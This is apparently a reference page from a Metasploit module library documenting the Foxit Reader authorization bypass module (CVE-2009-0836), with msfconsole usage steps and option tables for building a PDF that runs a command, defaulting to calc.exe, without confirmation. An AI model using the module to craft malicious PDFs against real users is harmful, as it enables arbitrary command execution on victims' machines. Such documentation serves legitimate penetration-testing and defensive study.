Foxit Reader Authorization Bypass - Metasploit


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Module Overview

Name: Foxit Reader Authorization Bypass
Module: auxiliary/pdf/foxit/authbypass
Source code: modules/auxiliary/pdf/foxit/authbypass.rb
Disclosure date: 2009-03-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2009-0836

This module exploits an authorization bypass vulnerability in Foxit Reader build 1120. When an attacker creates a specially crafted pdf file containing an Open/Execute action, arbitrary commands can be executed without confirmation from the victim.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/pdf/foxit/authbypass
msf auxiliary(authbypass) > show targets
    ... a list of targets ...
msf auxiliary(authbypass) > set TARGET target-id
msf auxiliary(authbypass) > show options
    ... show and set options ...
msf auxiliary(authbypass) > exploit

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Msfconsole Usage

Here is how the pdf/foxit/authbypass auxiliary module looks in the msfconsole:

msf6 > use auxiliary/pdf/foxit/authbypass

msf6 auxiliary(pdf/foxit/authbypass) > show info

       Name: Foxit Reader Authorization Bypass
     Module: auxiliary/pdf/foxit/authbypass
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-03-09

Provided by:
  MC <[email protected]>
  Didier Stevens <[email protected]>

Check supported:
  No

Basic options:
  Name      Current Setting               Required  Description
  ----      ---------------               --------  -----------
  CMD       /C/Windows/System32/calc.exe  no        The command to execute.
  FILENAME  msf.pdf                       no        The file name.

Description:
  This module exploits an authorization bypass vulnerability in Foxit 
  Reader build 1120. When an attacker creates a specially crafted pdf 
  file containing an Open/Execute action, arbitrary commands can be 
  executed without confirmation from the victim.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2009-0836
  OSVDB (55615)
  http://www.securityfocus.com/bid/34035

Module Options

This is a complete list of options available in the pdf/foxit/authbypass auxiliary module:

msf6 auxiliary(pdf/foxit/authbypass) > show options

Module options (auxiliary/pdf/foxit/authbypass):

   Name      Current Setting               Required  Description
   ----      ---------------               --------  -----------
   CMD       /C/Windows/System32/calc.exe  no        The command to execute.
   FILENAME  msf.pdf                       no        The file name.

Advanced Options

Here is a complete list of advanced options supported by the pdf/foxit/authbypass auxiliary module:

msf6 auxiliary(pdf/foxit/authbypass) > show advanced

Module advanced options (auxiliary/pdf/foxit/authbypass):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   DisablePayloadHandler  true             no        Disable the handler code for the selected payload
   VERBOSE                false            no        Enable detailed status messages
   WORKSPACE                               no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the pdf/foxit/authbypass module can do:

msf6 auxiliary(pdf/foxit/authbypass) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the pdf/foxit/authbypass auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(pdf/foxit/authbypass) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • MC
  • Didier Stevens <didier.stevens[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.

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